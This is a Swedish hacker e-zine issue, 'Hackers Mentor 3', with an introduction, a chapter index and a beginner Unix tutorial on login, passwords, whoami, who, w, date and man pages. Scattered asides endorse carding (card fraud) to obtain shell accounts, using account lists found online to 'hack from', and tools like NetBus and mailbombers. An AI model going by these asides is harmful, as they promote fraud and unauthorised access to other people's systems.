3230 lines
130 KiB
Plaintext
3230 lines
130 KiB
Plaintext
|
||
The third book of
|
||
Hackers Mentor
|
||
|
||
The Hackers Mentor third book. Step #3.
|
||
|
||
::::
|
||
::::::::
|
||
:::::::::::
|
||
:::::::
|
||
::::
|
||
|
||
|
||
The Hackers Mentor 3
|
||
|
||
Välkommen till den tredje boken av Hackers Mentor.. The Orange book. Hackers Mentor är en serie
|
||
guider inom hacking, phreaking, cracking, carding och elektronik som har skickats ut till
|
||
prenumeranter i Sverige. The Hackers Mentor White Book – var den första boken bestående av 10
|
||
Hackers Mentor delar. Här kommer trean, innehållande en massa nya godsaker! =^)...
|
||
|
||
Hackers Mentor ges ej längre ut som E-Tidning .. Alltså, den skickas inte längre ut som kortare
|
||
små nummer till en massa svenska prenumeranter, den finns och görs nu endast som bokversion!
|
||
|
||
Nu börjar vi avancera lite! Nu ska vi lära oss om C++ och UNIX! Det blir la rolit??
|
||
Det är faktiskt ett MÅSTE! Och om du INTE lär dig detta så kommer du ALDRIG kunna kalla dig för
|
||
en riktig hacker! Även om det är tråkigt och du inte riktigt hänger med,, så läs vidare! Och läs om och
|
||
om igen så att du LÄR DIG allt som står i boken! Nu börjar den riktiga hackingen ta vid.
|
||
Själv, när jag skrev kapitel 1 om UNIX i den här boken, tyckte jag att det var jobbigt och segt..
|
||
Men efter ett tag lättar det, efter en liten stund börjar det sitta. Till sist sträcker man på sig,
|
||
ler och går och hämtar en Jolt i kylskåpet.. ”Ja!! Jag KAN det! Fy fan va kul”. Det lättar,
|
||
i slutet av UNIX kapitlet, om du läst det, klarat av att förstå allt och kommer ihåg det mesta,
|
||
så kommer du må bra!
|
||
|
||
/Mathreon. (Numera Icecoder).
|
||
|
||
* Ni tycker kanske att det bara blir svårare och svårare att förstå vad jag menar eller kanske det
|
||
helt enkelt blir för svårt att komma ihåg allt, Det beror på att jag själv redan kan allt det jag skriver
|
||
och helt enkelt inte riktigt minns hur jag själv skulle vela ha det skrivet, när jag själv INTE kunde
|
||
det jag nu skriver om… Jag skulle kanske behöva någon av er läsare till hjälp i detta tillfälle.
|
||
Men läs NOGGRANT! Spänn ögonen på texten och ta på dig tänkarluvan! Det får ta den tid det tar
|
||
men du MÅSTE, MÅSTE, MÅSTE lära dig det som står! Och jag försöker förklara så gott det går!
|
||
Dock kan det vara svårt att hålla den takt som ni vill ha,, men det får ni ta! Tyvärr. *
|
||
|
||
OBS: Om du inte har läst bok nummer 1 & 2. ”The White Book” & ”Yellow Book”., och inte heller
|
||
några andra texter, så rekommenderar jag att du GÖR det! Du hittar alla nuvarande böcker på
|
||
www.insecurefoundation.cjb.net ELLER www.haxerz.com. Eller
|
||
www.crosswinds.net/~insecfoundation/main.html
|
||
|
||
|
||
|
||
BOKEN SER BÄST UT I MICROSOFT WORDS OM DU HAR SKÄRM INSTÄLLNING
|
||
PÅ 800x600 Bildpunkter och ”Wordwrapping” påslagen. Annars ser den bra ut i HTML
|
||
format. Du hittar DOC och HTML formaten på vår hemsida. (hemsidor).
|
||
|
||
OM DU EJ SER BILDER, UTAN STORA, TOMMA FÄLT I TEXTEN, SÅ SLÄPP
|
||
MUSEN OCH VÄNTA LITE, DÅ LADDAS BILDERNA IN PÅ DIN SKÄRM!
|
||
|
||
PS: SKRIV UT BOKEN! DEN ÄR GJORD FÖR DET! DET
|
||
KÄNNS LÄTTARE ATT LÄSA DEN SÅ.
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
Nu ska vi titta lite på hur ditt kunnande om hacking kommer vara beroende på hur mycket och spritt
|
||
du läser! Se följande tabell:
|
||
|
||
|
||
[Lista 0.1 – Hur bra kan du bli?]
|
||
|
||
Då ska vi se…
|
||
En ETTA är det bästa du kan ha här. En sjua är det sämsta!
|
||
Vilket passar in på dig? Vilket exempel vill du följa? :
|
||
|
||
7 = ’ Du läser ingenting! Det enda du gör är att leka med NetBus och Kaboom!3 –mailbomber och
|
||
prata med dina lamer kompisar om hur mycket data du kan! ( Du kan FÖÖÖR LITE!!! )
|
||
|
||
6 = Du har slängt ett öga på Hackers Mentors tredje del om NetBus. Du beter dig som 7án men
|
||
läser lite grann om hur man använder Netbus och Winnuke mm.. ( Lamt! Mycket lamt! )
|
||
|
||
5 = Du läser varje del av Hackers Mentor men förstår nästan ingenting. Du håller på som 7án och 6án
|
||
fast lite mer seriöst. Du VILL lära dig! Du VILL låta NÅGON lära dig! Bingo! Du har hittat rätt
|
||
guide, synd att du inte är tillräckligt smart bara!
|
||
|
||
4 = Du läser Hackers Mentor och fattar det som står. Du läser dessutom de texter som diox1de
|
||
(Knash^) gav ut för 1½ år sedan! Ok,, du har en förmåga att fatta och en vilja att lära! Du börjar
|
||
komma någon vart! (dock programmerar du fortfarande i BATCH, eller?)
|
||
|
||
3 = Du läser Hackers Mentor, Du läser en massa andra texter om hacking och phreaking och allt
|
||
möjligt som du hittar på diverse hacking arkiv. Du fattar nästan allt! Du är snäppet bättre men på
|
||
ungefär samma väg som 4án.
|
||
|
||
2 = Du läser Hackers Mentor, Alla delar! Du läser en massa annat också (Från GHA´s textarkiv,) du
|
||
läser och lägger in egna insändare på Flashback och BugTraq. Du läser UNIX böcker och en guide om
|
||
C++, Du har läst VB och kommer in lite på Perl. Du går till biblioteket varje månad och lånar en ny
|
||
bok om ett operativsystem eller programmeringsspråk. Bra!! Du är ju på helt rätt väg! Dig kommer det
|
||
bli något av! Fortsätt på det spåret!
|
||
|
||
1 = Wow! Du är übern’ som ägnar STOR tid åt att läsa och lära! T.o.m. större tid än 2´an!
|
||
(Alltså några timmar om dagen!). Du HAR LÄST Unix, Assembler, VB, Perl, C/C++,
|
||
alla Hackers Mentor,, du kommer läsa alla senare Hackers Mentor. Text arkiv? Tss! Du har redan tömt
|
||
alla! Du läser nu ALLT som du kan hitta om data! Du läser t.ex.. Avancerad C++ i nätverk,
|
||
Atari programmering, avancerad cracking, Systemering, OS programmering, ja ja ja,, du KAN ALLA
|
||
termer och ord, du VET vad alla förkortningar står för. Du har varit med länge, men slutar inte läsa…
|
||
Du kan allt om firewalls, inet-camera, kan en hel del 3D och Spel programmering, ljussättning,
|
||
webbdesign, JA! Det mesta! Du har bara PDP datorerna och Atari programmeringen kvar! Om ens
|
||
det! Du kanske t.o.m. är med och forskar fram ett nytt nätverk? Nya tjänster, programmerar säkerhets
|
||
software för olika företag..
|
||
|
||
|
||
|
||
Så.. vad vill jag få fram här???
|
||
|
||
Poängen är.. DU BLIR INTE NÅGON ÜBERHAXXOR AV ATT LÄSA ENBART
|
||
HACKERS MENTOR! Du MÅSTE läsa en hel jävla massa andra saker! Låna böcker, läsa texter och
|
||
E-Zines, prata med folk på IRC, Du måste tömma vartenda hacking arkiv på texter, läs alla tutorials du
|
||
- hittar och fråga efter nya på IRC! Men.. vi kommer en lång väg med Hackers Mentor. Dock MÅSTE
|
||
du läsa en massa andra texter och böcker också! Annars går det aldrig!
|
||
|
||
( För er som nu sitter och säger, ähh. Fy fan va dåligt. ”kommer en lång väg med Hackers Mentor..
|
||
Hah! Kolla bara,, NetBus, HakTek och anonymt mail! Fy fan va töntigt. De kommer ju ingen vart.. ,”
|
||
|
||
- Vi är än så länge bara i BÖRJAN av TREDJE boken! Nu ska jag börja tjabbla om UNIX och C++,
|
||
Låter inte det ganska bra? Vi har ju fan 8 böcker kvar! Ni kan vara lugna,, även om det nu tar lite tid
|
||
för mig att skriva och komplettera böckerna, så kommer de. Och nästa gång blir den lite mer
|
||
avancerat, Innan vi slutar ska du i alla fall vara så kunnig att du kan börja jobba som programmerare
|
||
eller säkerhets ansvarig på ett företag, skryta inför IRC kompisar med dina kunskaper och visa din
|
||
”mackt” på betydligt högre stadium än nuking och flooding ! ;-).
|
||
|
||
Jag försöker att hålla boken inom så lagliga gränser som möjligt från och med den här boken.
|
||
Men lugn! Ni kommer att få lära er lika mycket om säkerhet som förut. Dock lite mer som,,
|
||
SÄKERHETS aspekt ,,, från den säkerhetsansvariges ögon. I nästa nummer kommer jag bland annat
|
||
prata om SYN flooding, sniffers, carding och så klart, fortsätta med UNIX och C++.
|
||
|
||
|
||
_ INDEX:___________
|
||
Kapitel 1: UNIX
|
||
Använd Unix för första gången. Lär dig behärska systemet och de enklaste kommandona.
|
||
|
||
Kapitel 2: C/C++ Programmering.
|
||
Lär dig det hederliga hackingspråket C++! Skapa egna program för Windows.
|
||
|
||
Kapitel 3: Inspirations stund
|
||
En liten saga för att ge mera inspiration att lära!. ” Tomteverkstaden”.
|
||
|
||
Kapitel 4: Vad du gör när du fått ”root” i ett system.
|
||
Använda Unix och telnet för att gå vidare i ditt hackade system.
|
||
|
||
Kapitel 5: Smurf Attacks
|
||
Så går det till, så här gör du för att ”smurfa” någon av nätet.
|
||
|
||
Kapitel 6: Mera UNIX
|
||
Få igång Internet, konfigurera nätet och nätverkskortet. Internet tjänster mm..
|
||
|
||
Kapitel 7: Dreamhack 2000
|
||
HaxerZ har varit på Dreamhack 2K i Borlänge. Nordens / Europas(?) största demo party.
|
||
Hur var det? Hur gick det till? Nyheter och ”skvaller” ;-).
|
||
|
||
|
||
Kapitel 1: UNIX
|
||
|
||
Nu har du passerat så gott som alla de nybörjar stadier du kan tänka dig, och är på god väg
|
||
att lyckas som hacker. Den här boken kommer även hjälpa dig på vägen till att bli dataexpert
|
||
på ett företag eller som säkerhets expert hos Internet polisen!. Utan den här boken klarar du dig
|
||
helt enkelt inte! Du måste lära dig Unix och C++ i vilket fall som helst! Så det är bara att sätta
|
||
igång! Här är första kapitlet, den första timmen på din väg mot IT Miljonärs jobben!
|
||
|
||
|
||
* ”ALLA HACKERS ANVÄNDER UNIX” (?) *
|
||
|
||
Nej, tyvärr. Det stämmer inte. Även om alla säger så. Dock måste en hacker kunna åt minstonde
|
||
grunderna i Unix för att klara de krav som ställs där ute på nätet. Det är faktiskt så att så gott som
|
||
alla servrar på Internet använder sig av Unix. Och hur ska du möjligen kunna hacka en utan att ens
|
||
veta om vad ”ls”, ”cat” och /etc betyder?
|
||
|
||
Innan vi kan höja ribban och börja hacka servers på allvar, behöver vi lära oss Unix. Så nu kör vi
|
||
igång! (Först, om du inte visste det, så är Unix ett operativsystem, som Windows, fast mer avancerat
|
||
men mycket bättre och snabbare. Unix utvecklades hos AT&T i USA i slutet av 60 talet).
|
||
|
||
1. Jag tänker inte berätta hur du installerar Unix / Linux. Det är en halv bok i sig. Det finns många,
|
||
enkla instruktioner till det när du skaffar systemet.
|
||
|
||
- Så hur skaffar jag Unix / Linux ?
|
||
|
||
Det finns många svar, det vanligaste och billigaste är att ladda hem det. Det kostar sin tid på nätet,
|
||
men om du jämnför det priset med att köpa systemet i butik, så sparar du många sedlar!
|
||
Jo. Du kan köpa det i butik. Självklart. www.linuxbutiken.se är en adress som jag tror fungerar,
|
||
Du kan ju även titta in hos riktiga butiker i stan. Men räkna med kostnaderna!
|
||
Dock är nog det bästa alternativet att köpa Unix över disk.
|
||
|
||
|
||
Några olika varianter av Linux/Unix/*NIX Baserade system är:
|
||
|
||
Slackware Linux ( Bästa valet tycker jag (3.6 rockar ;-) )
|
||
SuSe Linux
|
||
RedHat Linux
|
||
Dragon Linux ( Test version )
|
||
Corel Linux
|
||
Caldera Open Linux
|
||
FreeBSD ( BSD System )
|
||
System V ( En av de äldsta versionerna av UNIX )
|
||
’POSIX’, HP-UX, Solaris, AIX
|
||
|
||
Detta är bara toppen på isberget. Det finns en MASSA olika versioner!
|
||
Och det enda sättet att välja på, är att fråga i butiken, läsa på Internet eller
|
||
rent utav , testa systemen och se vilket som passar bäst för just DINA behov!
|
||
|
||
Innan jag säger någonting mer vill jag bara förtydliga att Linux och Unix är ungefär
|
||
samma sak, och att det du lär dig här, gäller för både Linux och Unix.
|
||
|
||
|
||
|
||
UNIX ÄR ETT FLERANVÄNDARSYSTEM
|
||
|
||
Att Unix är ett fleranvändarsystem innebär att flera olika personer kan använda
|
||
systemet samtidigt. Detta då genom nätverk förståss. Utan nätverk inblandat, är det
|
||
du, och BARA du som använder systemet.
|
||
För att du ska kunna konfigurera systemet och få det att göra som du själv vill ha det,
|
||
så bör du dock ha ett eget konto på den dator du använder.
|
||
Eftersom att du kanske gillar ”C Shell” bättre än din bror, som också ska använda datorn,
|
||
så är det ju väldigt bra om det finns två olika konton! Ett med C Shell och ett med Bash. (Som din bror
|
||
- gillar). Du kan också ha ditt egna konto på en Unix server. Ett Shell konto!
|
||
(Jag berättar mer om shells senare). Då måste system administratören, (den ansvarige för servern),
|
||
kunna hålla ordning på sina användare. Därför tilldelas alla användare ett eget inloggningsnamn,
|
||
lösenord och en viss åtkomst till systemet. Vi kommer i den här boken förutse att du kör Unix på
|
||
din egen dator, utan uppkoppling, och på ett shell konto som ligger på din egen dator, och inte på
|
||
en server i USA.
|
||
|
||
? Hur du skaffar ett shell konto
|
||
|
||
- Du kan på vissa system logga in som anonym användare. Men får då mindre möjligheter att
|
||
röra dig i systemet, och du kan inte använda det till så mycket.
|
||
|
||
Du kan registrera dig för ett gratis konto, men då kan du heller (i de flesta fall) inte använda kontot
|
||
för så mycket, och kan inte t.ex. köra en IRC bot på kontot, när du inte själv är online.
|
||
|
||
Du kan hyra ett konto. Då får du större möjligheter att göra saker på servern, och kan köra program
|
||
som t.ex. IRC bots, även när du inte är online. Dessa konton kostar oftast inte så mycket, men är
|
||
hemskt användbara. Du betalar en viss summa pengar, en gång varje kvartal, månad eller år, och
|
||
kontot hålls öppet för dig.
|
||
|
||
Du kan köpa ett konto. – Betala lite extra, och du kan få ett konto som består i flera år!
|
||
|
||
Hur som helst..
|
||
Från och med denna textsnutt förutsätter jag att du har någon version av Unix/Linux och
|
||
kör den på din dator. – Jag hoppar nu över all historik mm.. Det känns överflödigt! –
|
||
|
||
|
||
|
||
OBS: Det är viktigt att du läser allt och lär dig allt som står i den här boken! Annars går du
|
||
bara i meningslösa cirklar utan att komma någon vart!
|
||
|
||
|
||
1: Skaffa ett konto på din egen maskin, och logga in!
|
||
|
||
Denna del:
|
||
|
||
? Logga in och ut ur systemet
|
||
? Ändra lösenord
|
||
? Välja ett bra lösenord
|
||
? Ta reda på vem du är och vem datorn tror att du är
|
||
? Ta reda på vilka andra användare som finns i systemet
|
||
? Ta reda på vad alla andra gör i systemet
|
||
? Kontrollera inställningar, datum och tid.
|
||
|
||
|
||
[ En hel del lånat ur boken Unix på 24 Timmar och Know Ware - Linux ]
|
||
|
||
|
||
Först, så bör du ju känna till att den första gång du loggar in på systemet använder du det namn och
|
||
lösenord du valde när du installerade Unix/Linux. Antagligen namnet ”root”.
|
||
|
||
/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
|
||
|
||
Det första du kommer se när du kopplar upp dig mot ett UNIX system, eller bara startar Unix på
|
||
din egen dator, är en liten reklam banner med systemets namn, tid och datum. Samt en liten prompt:
|
||
|
||
4.3BSD DYNIX (bla.blabla.bla) 9:42am on Mon, 24 May 1999
|
||
login:
|
||
|
||
|
||
Raden ”login:”, frågar dig som du nog förstår, efter ditt konto namn. Om det ser annorlunda ut på din
|
||
skärm, så kommer du ändå alltid, förr eller senare, till login prompten, där du måste ange ditt
|
||
användarnamn och lösenord. Var noga med att använda små bokstäver om ditt system inte sagt annat!
|
||
Ett login vid man Icecoder skulle UNIX se som ett helt annat login än icecoder. :
|
||
|
||
Login: icecoder
|
||
Password:
|
||
|
||
Skriv in konto namnet och klicka på ”Enter” knappen på ditt tangentbord. [Enter & Return är samma
|
||
sak! ] Vi nämner tangenten som Enter i den här boken.
|
||
När du klickat Enter så kommer Password prompten upp. Den vill alltså ha ditt lösenord,,,
|
||
När du skriver in lösenordet så kommer du själv inte kunna se vad du skriver på skärmen,
|
||
det är normalt! Bara så att inte din nyfikne kompis ska se vad du skriver, över axeln på dig.
|
||
|
||
Om du skriver in felaktigt lösenord eller login, så kommer systemet svara med ”Login incorrect” och
|
||
du får, (i de flesta fall) två försök till. Så se till att stava RÄTT och med STORA och små bokstäver
|
||
på rätt ställen! Exakt så som du fått veta att det ska stavas! Aldrig med mellanslag!
|
||
|
||
|
||
|
||
När du har loggat in får du se lite mer information om datum, vind och väder.. du vet.
|
||
Beroende på vilken sorts shell du använder, kommer du få se lite olika varianter av prompter.
|
||
Den här prompten är i vanliga fall ett % tecken:
|
||
|
||
%
|
||
- som talar om för dig att systemet är redo att ta emot kommandon.
|
||
|
||
En annan vanlig prompt är $. Det spelar ingen roll..
|
||
Din prompt kommer antagligen se ut på ett ungefär så här:
|
||
|
||
4.3BSD DYNIX (bla.blabla.bla) 9:42am on Mon, 24 May 1999
|
||
Login: icecoder
|
||
Password:
|
||
Last login: Fri Apr 8 19:32:12 on ttyAe
|
||
You have mail.
|
||
[/users/icecoder] :
|
||
(hackment) 3 :
|
||
founder@lords.com %
|
||
|
||
|
||
Din prompt behöver inte se ut så här, men den har i varje fall en unik
|
||
egenskap: Den är det första som står på raden där din markör finns,
|
||
och den upprepas varje gång du har kört ett Unixprogram.
|
||
|
||
Så ditt första Unix kommando:
|
||
|
||
exit
|
||
|
||
För att logga ut ur systemet. Pröva det! Det stänger alla program och logar ut.
|
||
Sedan får du en ny prompt vid vilken du ska skriva in lösen och login igen!
|
||
|
||
%exit
|
||
- Quit meddelande visas på denna rad -
|
||
4.3BSD DYNIX (bla.blabla.bla) 9:42am on Mon, 24 May 1999
|
||
|
||
login:
|
||
|
||
|
||
Det är också möjligt att du kan avsluta sessionen genom att hålla in Ctrl-D.
|
||
Vissa skal fångar upp detta och frågar om du verkligen vill avsluta, vissa stänger
|
||
direkt.
|
||
|
||
( FÅ ETT KONTO PÅ EN SERVER )
|
||
|
||
För att få ett konto som du kan koppla upp dig till, (vilket jag rekommenderar)
|
||
Så måste du antingen registrera ett konto på någon server, eller gå och hämta
|
||
ett fungerande från www.cyberarmy.com/lists.
|
||
Man kan dock aldrig lita på att de kontona fungerar, eller så kan de vara under sträng
|
||
bevakning, och då är det ingen större glädje att hacka från dem.
|
||
Det finns väldigt många hemsidor och företag som låter dig antingen hyra, eller få ett
|
||
konto. Förståss är de konton som du kan få gratis väldigt dåliga och fungerar sällan även
|
||
när du inte själv är online. Men det är alltid en början! Annars kan du ju carda ett konto.
|
||
Mer om carding i Red Book of HM. Jag förutser att du har ett konto nu.
|
||
|
||
|
||
Om du istället är inloggad som ”root”, alltså som den användare som får göra vad han/hon vill
|
||
i systemet, så kan du skriva ”adduser kalle” för att lägga till en användare med namnet ”kalle”.
|
||
OBS: Ta bort citat tecknen! (som alltid)
|
||
När du skrivit den där kodraden får du en massa förfrågningar om olika saker.
|
||
Fyll i informationen och voella! Du har skapat en ny användare i systemet som inte har lika
|
||
stor valfrihet och access som root. Du kan använda det nya kontot för att gräva i ditt system utan att
|
||
ta onödiga risker. ;-).
|
||
|
||
BYTA LÖSENORD
|
||
|
||
Nu när du vet hur man loggar in (förutsatt att du har ett konto!), så kan det vara bra
|
||
att veta hur du ändrar ditt lösenord. Detta lösenord kan vara väldigt viktigt att hålla
|
||
hemligt. Så se till att inte skriva upp det på en lapp som du stämplar fast på skrivbordet
|
||
eller i värre fall, på en gul lapp på skärmkanten!
|
||
|
||
Kommandot för att ändra lösenord är passwd.
|
||
Det används på följande sätt:
|
||
|
||
|
||
|
||
% passwd
|
||
Changing password for Icecoder.
|
||
Old password:
|
||
New password:
|
||
Retype new password:
|
||
Missmatch – password unchanged.
|
||
%
|
||
|
||
Här är ett exempel. I mitt fall ändrade jag inte lösenordet.
|
||
” Missmatch – password unchanged. ”
|
||
betyder förståss att jag skrev in felaktigt lösenord och
|
||
då ändrades det inte!
|
||
OBS: Du måste vara inloggad på det konto där du vill ändra lösenord! =^).
|
||
|
||
Jag måste genast uppmärksamma dig på säkerhets kraven som du bör ställa på dig själv!
|
||
För att ingen ska kunna gissa sig till, eller enkelt lyckas cracka sig in på ditt konto, behöver
|
||
du använda ett trassligt lösenord. Gärna runt 8 bokstäver med både siffror och bokstäver.
|
||
Dock bör du ju komma ihåg lösenordet! Ett dåligt lösen skulle kunna vara:
|
||
|
||
misse
|
||
|
||
(Som i detta exempel är namnet på din katt)
|
||
Ett annat dåligt lösen skulle kunna vara:
|
||
|
||
a0a0a0
|
||
|
||
- Varför det? Frågar du.. – Därför att vem som helst skulle kunna råka skriva detta, eller
|
||
i annat fall, om någon bruteforce crackade mot ditt konto, så skulle crackern snart hitta ditt
|
||
lösenord! Använd inte gärna enbart bokstäver och siffror som kommer tidigt i alfabetet! Och
|
||
gör inte lösenordet för kort!!
|
||
|
||
|
||
Et exempel på ett BRA lösenord skulle kunna vara:
|
||
|
||
dff9y4hu
|
||
|
||
Wow! Det ser trassligt ut! Hur skulle jag komma ihåg det?
|
||
- Inte fan vet jag. Men det kan bli en nödvändighet!
|
||
Du skulle kunna ta, de första tre bokstäverna i ditt förnamn, de tre första siffrorna i ditt hemnummer,
|
||
Och de tre första bokstäverna i ditt efternamn.
|
||
(Ditt telefon nummer kanske är 094258831 och du kanske heter Adam Ohlsson):
|
||
|
||
ada094ohl
|
||
|
||
Jag tror knappast att någon skulle testa detta. Men eftersom att jag nämner det här,,, du kan ju
|
||
ta det lite omvänt:
|
||
|
||
ohlada094
|
||
eller
|
||
adaohl094
|
||
eller
|
||
ada138lho
|
||
|
||
( Det sista var med de sista tre siffrorna i ditt nummer och ”ohl” Baklänges)
|
||
|
||
|
||
Du kan också ta långa meningar som ”Jag e en leet guru på C++” och förkorta det till:
|
||
Jeelgpc. - Det skulle bli svårt nog, men du kunde ändå komma ihåg det!
|
||
|
||
Du kommer nog på något!
|
||
|
||
|
||
|
||
Hur går det? Hänger du med? Jag föreslår redan nu att du går och hämtar papper och penna och
|
||
börjar dokumentera det du lär dig! Skriv ned alla kommandon som jag visar dig!
|
||
Du kan behöva en fusklapp senare. Puh! Redan jobbigt. Hur ska du komma ihåg allt?
|
||
Vi måste kämpa oss igenom den här boken! Sedan blir det rock´n roll! ?
|
||
Låt det ta tid. Det finns ingen bättre väg en denna. Men ta pauser! Det kan du behöva.
|
||
|
||
Nu,,,, nu fortsätter vi.
|
||
|
||
|
||
SE VEM DU ÄR PÅ DATORN
|
||
|
||
Du är inloggad, beredd att skriva in kommandon. Utmärkt!
|
||
Medan du är inne i systemet kan du passa på att titta på vem du är, eller vem datorn
|
||
tror att du är. Det enklaste sättet är att använda whoami:
|
||
|
||
% whoami
|
||
icecoder
|
||
%
|
||
|
||
Pröva nu detta kommando i ditt system!
|
||
Detta kommando visar alltså vilket inloggningsnamn som du loggade in dig med.
|
||
98% av Unix kommandon ändras inte om du använder mellanslag, men i det här
|
||
fallet blir resultatet något helt annat.
|
||
|
||
% who am i
|
||
hackment.servern.edu!icecoder ttyp4 Feb 8 19:54
|
||
%
|
||
|
||
Här fick jag veta en del om min identitet i systemet.
|
||
Prova och se vilket resultat det ger.
|
||
|
||
I det här fallet är hackment den dator jag loggade in mig på och
|
||
icecoder är som vanligt mitt loggin namn. Hackment är alltså mitt
|
||
värdnamn! Och servern.edu är resten av domännamnet.
|
||
Utropstecknet (!) skiljer domännamnet och inloggnings namnet åt.
|
||
|
||
”tty” är en förkortning för ”teletypewriter” och härnstammar från de riktigt
|
||
gamla Unix systemen som kördes interaktivt teleprinter.
|
||
Det står för en dator- eller terminaluppkoppling.
|
||
|
||
|
||
|
||
|
||
|
||
|
||
Adressen:
|
||
|
||
Hackment.servern.edu. Jag förklarar:
|
||
Edu = education. Alltså är datorn indragen i någon sorts utbildning. Ett universitet eller liknande.
|
||
Sedan ”Servern”. Inom nätverket finns en server vid namn ”Servern” som i sin tur hanterar
|
||
datorn där kontot finns. (Datorn heter ”Hackment”.) Detta bildar då alltså en hierarkiskt adress!
|
||
|
||
Ett annat sätt att ta reda på vem du är i Unix är via kommandot id.
|
||
Det är avsett att upplysa dig om vilken grupp du tillhör och om ditt kontos användar-ID
|
||
(uid = ”user ID”). Skriv kommandot id och se vad du får. Jag ser följande:
|
||
|
||
% id
|
||
uid=211(icecoder) gid=50(users0) groups=50(users0)
|
||
%
|
||
|
||
OBS: i vissa system används id för att ta fram lågnivåinformation om filer.
|
||
|
||
Här ser jag att mitt kontonamn är icecoder och att mitt användar id är 211.
|
||
Precis som kontonamnet är användar ID t något helt unikt i systemet.
|
||
|
||
Sedan kan du se att mitt grupp ID (gid = ”Group ID”), är 50 och att grupp nummer 50
|
||
heter users0. Och slutligen, att det är den enda grupp jag tillhör.
|
||
|
||
Se vilka som är inloggade
|
||
|
||
Du kan enkelt se vilka som är inloggade med kommandot users:
|
||
|
||
% users
|
||
icecoder marcos steve xeroz
|
||
%
|
||
|
||
I det här fallet var icecoder, marcos, steve och xeroz inloggade i systemet.
|
||
För att få mer information använder vi who:
|
||
|
||
% who
|
||
icecoder ttyp0 Feb 6 14:10 (limbo)
|
||
marcos ttyp2 Feb 6 06:52 (calliope)
|
||
steve ttyp4 Feb 4 12:37 (dent)
|
||
xeroz ttyp4 Feb 6 13:04 (osiris)
|
||
|
||
Här får vi information om de inloggade!
|
||
Datum för inloggningen, tid, vilken typ av ttyp som alla är inloggade via
|
||
och vilka system de är anslutna från.
|
||
|
||
- Det stör mig att xeroz använder samma namn på system som Tsutomu i filmen
|
||
”Operation Takedown”! ;-).
|
||
|
||
Om du nu vill se ÄNNU mer information, till och med vad alla i systemet GÖR, så ska
|
||
du helt klart använda kommandot w:
|
||
|
||
% w
|
||
-
|
||
-
|
||
-
|
||
-
|
||
%
|
||
|
||
Här kommer du nu få se en drös information, som jag faktiskt inte orkade skriva. (ok, det är inte SÅÅ
|
||
mycket, men just nu när jag skriver detta så är klockan 00:49, och jag måste upp klockan 08:00 i
|
||
morgon, så jag tycker inte att jag har TID, [dock hade jag visst tid att skriva detta!]. hehe,,
|
||
Du får i alla fall veta i vilka program som de inloggade jobbar för tillfället, samt en del annan info.
|
||
|
||
|
||
Kontrollera Datum och Tid
|
||
|
||
För att enkelt se hur mycket klockan är, och vilket datum det är… Så kanske vi borde använda ”time”.
|
||
Men nej.. Testa det kommandot så får du se vad som händer!:
|
||
|
||
% time
|
||
14.5u 17.0s 29:13 1% 172+217io 160pf+1w
|
||
%
|
||
|
||
- Det gav inte så mycket.
|
||
|
||
För att få veta det vi var ute efter, så används ”date” kommandot:
|
||
|
||
% date
|
||
Tue Feb 5 15:07:42 EST 1999
|
||
%
|
||
|
||
Så! Nu fick vi se det vi ville se.
|
||
Tue = Tuesday = torsdag
|
||
Feb = Februari = februari
|
||
5 = femte
|
||
15:07:42 = sju minuter över 3 på eftermiddagen. ( Plus 42 sekunder ).
|
||
År 1999.
|
||
|
||
Du förstår säkert! ;-).
|
||
|
||
|
||
Kapitel 1. Del: 2. ” Få hjälp i UNIX ”
|
||
|
||
Nu när du vet hur man loggar in, ut och får en del information om systemet,
|
||
så är det andra du behöver lära dig i detta nya system, att kunna få hjälp med olika saker.
|
||
Den här boken räcker väldigt långt, men du kommer ändå i situationer då du behöver
|
||
veta något som ej stod med i boken.
|
||
|
||
Det finns en del att veta om det första kommandot, ”man”. Som jag nu ska berätta om.
|
||
Men för att vi ska hinna och orka läsa den här boken tar jag bara med det mest nödvändiga.
|
||
|
||
* ( Jag kommer vidare genom alla Hackers Mentor att prata om Unix och ge dig nya kommandon
|
||
samt upprepa de som vi tidigare lärt oss. Så du kommer att lära dig Unix bara du läser allt!
|
||
- Efter alla lektioner i Unix kommer du vara en expert som kan gå till Flashback i god tro! ;-) ). *
|
||
|
||
Man – kommandot fungerar som sådant, att du först skriver in ”man” och sedan det kommando som
|
||
du vill ha hjälp med. Det kan se ut på följande vis:
|
||
|
||
% man mkdir
|
||
|
||
** EN MASSA INFO OM KOMMANDOT ”MKDIR” KOMMER UPP **
|
||
|
||
%
|
||
|
||
Här kommer som sagt en massa information att visas. Och det kan se lite olika ut beroende på vilket-
|
||
-shell/System du använder.
|
||
|
||
Man kommandot är väldigt bra och kan ofta komma till användning.
|
||
|
||
Man är förövrigt en förkortning av ”Manual”. Och täcker varje kommando som finns
|
||
i hela Unix. Du kan även använda växeln –k som står för ”keyword” om du har glömt
|
||
bort vad ett kommando hette, men mins vad det gjorde.
|
||
(Mer om växlar senare).
|
||
|
||
För att använda växeln –k så skriver man på följande sätt:
|
||
|
||
% man –k disk
|
||
**
|
||
%
|
||
|
||
Ni förstår säkert principen. Man – sidorna är indelade i nio sektioner.
|
||
Du ser alla sektioner i listan nedan. Det är till för, att om en du vill ha hjälp om ett kommando
|
||
som ligger i sektion 1, men det finns ett kommando med exakt samma namn i sektion 3.
|
||
Då måste du ange vilken sektion Unix ska leta i efter kommandot.
|
||
|
||
Sektion Innehåll
|
||
1 Användarkommandon
|
||
1M Systemunderhåll
|
||
2 Systemanrop
|
||
3 Biblioteksrutiner
|
||
4 Administrativa filer
|
||
5 Diverse filer
|
||
6 spel
|
||
7 I/O- och specialfiler
|
||
8 Administrationskommandon
|
||
|
||
---------------------------------------------------------------------------------------------------------------------------
|
||
|
||
Ett annat kommando: apropos
|
||
|
||
Med kommandot apropos kan du få en massa information om olika kommandon. Precis som med
|
||
Man , men lite mer avancerat. Visar filnamn och sånt. =-).
|
||
|
||
Ytterligare ett kommando: whatis
|
||
Används som:
|
||
|
||
% whatis cd
|
||
cd[1] - change working directory
|
||
%
|
||
|
||
Du kan även testa whatis whatis:
|
||
|
||
|
||
|
||
% whatis whatis
|
||
whatis[1] - display a one-line summary about a keyword
|
||
%
|
||
|
||
Här får vi alltså veta:
|
||
? Att whatis och cd ligger i sektion 1.
|
||
